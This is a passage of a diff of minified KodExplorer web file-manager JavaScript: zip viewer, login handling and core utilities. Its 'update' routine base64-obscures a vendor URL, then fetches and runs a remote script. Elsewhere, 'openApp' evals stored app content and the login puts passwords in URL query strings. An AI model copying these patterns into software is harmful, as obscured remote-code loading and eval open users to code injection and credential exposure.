icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path); -ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0})},m=function(e,t){var i=template.compile(tpl_zipview),a=i({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(v(core.pathThis(e),a.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init_loading").fadeOut(450).addClass("pop_fadeout"),core.init(),LocalData.del("this_path");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t="./index.php?user/checkCode&t="+UUID();$(".check_code img").attr("src",t),$(".check_code").val("").focus(),e()},i=function(e){var i=$("#username").val(),a=$("#password").val(),n=$("input[name=rember_password]").attr("checked")?1:0,o="./index.php?user/loginSubmit&name="+urlEncode(i)+"&check_code="+$("input.check_code").val()+"&password="+urlEncode(a)+"&rember_password="+n+"&is_ajax=1";return $.ajax({dataType:"json",url:o,error:function(e,t,i){setTimeout(function(){core.ajaxError(e,t,i)},600)},success:function(e){if("ok"!=e.data&&($(".msg").show().html(e.data),Tips.tips(e.data,!1)),e.code){var i="./index.php";void 0!=$.getUrlParam("link")&&(i=$.getUrlParam("link")),window.location.href=i}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),stopPP(e),!1};isWap()||e(),$(".check_code img").bind("click",t),$("form").submit(i),$("#username,#password,input.check_code").keyEnter(i),$(".forget_password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)}),0!=$(".login-wap").length&&$("#username,#password").bind("focus",function(){$(".common_footer").hide()}).bind("blur",function(){$(".common_footer").show()});var a=$(".admin_password input"),n=$(".admin_password_repeat input");a.keyEnter(function(){$(".start").click()}),n.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var e=trim(a.val());e!=n.val()?Tips.tips(LNG.login_root_password_equal,!1):""==e?(Tips.tips(LNG.login_root_password_tips,!1),a.focus()):window.location.href="./index.php?user/loginFirst&password="+urlEncode(e)}),$(".LICENSE_SUBMIT").bind("click",function(){var e=a.val();""==e?(Tips.tips(LNG.not_null,!1),a.focus()):window.location.href="./index.php?user/version_install&license_code="+e})})}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 